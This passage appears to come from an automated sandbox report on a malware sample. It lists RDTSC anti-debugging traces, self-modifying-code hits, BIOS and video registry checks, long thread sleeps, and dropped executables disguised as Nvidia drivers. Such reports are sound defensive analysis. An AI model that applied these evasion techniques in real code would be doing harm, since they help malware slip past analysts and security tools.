Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A207B7 second address: 4A207CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2F900B7Ah 0x00000008 mov ax, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A207CC second address: 4A207D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A207D2 second address: 4A207D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A207D8 second address: 4A20812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6254B873F7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20812 second address: 4A2085A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6254D230BFh 0x00000009 and ax, 6E8Eh 0x0000000e jmp 00007F6254D230C9h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, esi 0x0000001a jmp 00007F6254D230BAh 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2085A second address: 4A20863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 movzx ecx, bx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20863 second address: 4A20887 instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6254D230C9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20887 second address: 4A20897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254B873ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20897 second address: 4A208BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6254D230C0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A208BF second address: 4A208C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A208C3 second address: 4A208C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A208C9 second address: 4A208DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6254B873ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A208DA second address: 4A20906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 sub ebx, ebx 0x00000009 pushad 0x0000000a jmp 00007F6254D230C9h 0x0000000f popad 0x00000010 test esi, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20906 second address: 4A2090A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2090A second address: 4A20910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20910 second address: 4A2095F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6254B873F0h 0x00000009 sub cl, 00000018h 0x0000000c jmp 00007F6254B873EBh 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007F62C708CE3Ch 0x0000001d jmp 00007F6254B873F4h 0x00000022 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2095F second address: 4A2097C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2097C second address: 4A209E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 mov dx, F6EEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ecx, esi 0x0000000f pushad 0x00000010 push edi 0x00000011 mov bx, cx 0x00000014 pop ecx 0x00000015 popad 0x00000016 je 00007F62C708CDF7h 0x0000001c pushad 0x0000001d push ecx 0x0000001e mov di, FEE4h 0x00000022 pop edi 0x00000023 pushfd 0x00000024 jmp 00007F6254B873EAh 0x00000029 jmp 00007F6254B873F5h 0x0000002e popfd 0x0000002f popad 0x00000030 test byte ptr [76FB6968h], 00000002h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a movsx ebx, ax 0x0000003d call 00007F6254B873F4h 0x00000042 pop esi 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A209E4 second address: 4A209E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A209E9 second address: 4A20A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6254B873ECh 0x0000000a sbb ecx, 4E10A328h 0x00000010 jmp 00007F6254B873EBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 jne 00007F62C708CD8Dh 0x0000001f jmp 00007F6254B873F6h 0x00000024 mov edx, dword ptr [ebp+0Ch] 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F6254B873F7h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20A47 second address: 4A20A80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 movsx ebx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebx 0x0000000d jmp 00007F6254D230BAh 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 xchg eax, ebx 0x00000016 jmp 00007F6254D230C6h 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f mov cx, 7653h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20A80 second address: 4A20A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20B54 second address: 4A20B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254D230BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20B66 second address: 4A20B88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a mov ebx, eax 0x0000000c popad 0x0000000d mov esp, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6254B873F1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20B88 second address: 4A20BF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6254D230C7h 0x00000008 movzx eax, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F6254D230BCh 0x00000018 jmp 00007F6254D230C5h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F6254D230C0h 0x00000024 xor ecx, 7D14CD38h 0x0000002a jmp 00007F6254D230BBh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20BF3 second address: 4A20C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254B873F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20C0B second address: 4A20C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30DA6 second address: 4A30DB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30DB5 second address: 4A30E59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6254D230BFh 0x00000008 pop eax 0x00000009 call 00007F6254D230C9h 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], ebp 0x00000015 jmp 00007F6254D230C7h 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F6254D230C4h 0x00000023 or esi, 76EECC78h 0x00000029 jmp 00007F6254D230BBh 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007F6254D230C8h 0x00000035 xor ch, FFFFFFD8h 0x00000038 jmp 00007F6254D230BBh 0x0000003d popfd 0x0000003e popad 0x0000003f pop ebp 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30E59 second address: 4A30E5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30E5D second address: 4A30E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B30 second address: 4A30B42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6254B873EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B42 second address: 4A30B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB07AA second address: 4AB07CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ah, dh 0x0000000f jmp 00007F6254B873F2h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB07CC second address: 4AB07F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6254D230C4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB07F2 second address: 4AB0819 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6254B873F5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA09E2 second address: 4AA09E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA082E second address: 4AA0834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0834 second address: 4AA0838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0838 second address: 4AA083C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA083C second address: 4AA0858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6254D230C1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0858 second address: 4AA085E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A401E3 second address: 4A401F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 06h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A401F4 second address: 4A401F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A401F8 second address: 4A40210 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40210 second address: 4A40216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40216 second address: 4A4021A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4021A second address: 4A4021E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0BEB second address: 4AA0BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0BF1 second address: 4AA0BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0BF5 second address: 4AA0CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6254D230BFh 0x00000010 jmp 00007F6254D230C3h 0x00000015 popfd 0x00000016 call 00007F6254D230C8h 0x0000001b pushfd 0x0000001c jmp 00007F6254D230C2h 0x00000021 sub si, BDB8h 0x00000026 jmp 00007F6254D230BBh 0x0000002b popfd 0x0000002c pop esi 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 jmp 00007F6254D230BFh 0x00000035 push dword ptr [ebp+0Ch] 0x00000038 jmp 00007F6254D230C6h 0x0000003d push dword ptr [ebp+08h] 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F6254D230C7h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BABBC second address: 6BABC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BABC2 second address: 6BABC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5065D second address: 4A50709 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F6254B873F1h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F6254B873ECh 0x0000001a sbb ecx, 04EC1A38h 0x00000020 jmp 00007F6254B873EBh 0x00000025 popfd 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F6254B873F6h 0x0000002d adc ch, FFFFFF98h 0x00000030 jmp 00007F6254B873EBh 0x00000035 popfd 0x00000036 mov edx, eax 0x00000038 popad 0x00000039 popad 0x0000003a push FFFFFFFEh 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F6254B873F7h 0x00000045 and eax, 2B71BA0Eh 0x0000004b jmp 00007F6254B873F9h 0x00000050 popfd 0x00000051 mov si, B317h 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50709 second address: 4A50783 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dh 0x00000005 mov ecx, 5BAF5C2Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push 23890239h 0x00000012 jmp 00007F6254D230C7h 0x00000017 xor dword ptr [esp], 5570C221h 0x0000001e jmp 00007F6254D230C6h 0x00000023 call 00007F6254D230B9h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F6254D230BDh 0x00000031 xor cx, 4906h 0x00000036 jmp 00007F6254D230C1h 0x0000003b popfd 0x0000003c mov bh, ch 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50783 second address: 4A507F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6254B873F8h 0x00000009 jmp 00007F6254B873F5h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F6254B873F0h 0x00000015 or cx, 2D38h 0x0000001a jmp 00007F6254B873EBh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 push eax 0x00000024 pushad 0x00000025 jmp 00007F6254B873EFh 0x0000002a mov bh, ah 0x0000002c popad 0x0000002d mov eax, dword ptr [esp+04h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A507F8 second address: 4A507FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A507FC second address: 4A50802 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50802 second address: 4A50824 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50824 second address: 4A5082A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4FECE2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4FEDC0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 73B671 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B2ECE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B2EDC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D6B671 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Special instruction interceptor: First address: E278CD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Special instruction interceptor: First address: FF5E6F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Special instruction interceptor: First address: 10595E5 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Memory allocated: 1050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Memory allocated: 29F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Memory allocated: 49F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Memory allocated: 26B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Memory allocated: 2840000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Memory allocated: 4840000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Memory allocated: A20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Memory allocated: 2600000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Memory allocated: B60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Memory allocated: D70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Memory allocated: 28A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Memory allocated: 26B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Memory allocated: C30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Memory allocated: 2720000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Memory allocated: 2650000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AA0C3B rdtsc

0_2_04AA0C3B

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 425	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Window / User API: threadDelayed 523	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Window / User API: threadDelayed 6019
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Window / User API: threadDelayed 3450
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Window / User API: threadDelayed 2037
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Window / User API: threadDelayed 1843
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Window / User API: threadDelayed 409
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Window / User API: threadDelayed 1381

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7692	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7692	Thread sleep time: -74037s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7688	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7688	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep count: 425 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep time: -12750000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7800	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7712	Thread sleep count: 40 > 30	Jump to behavior
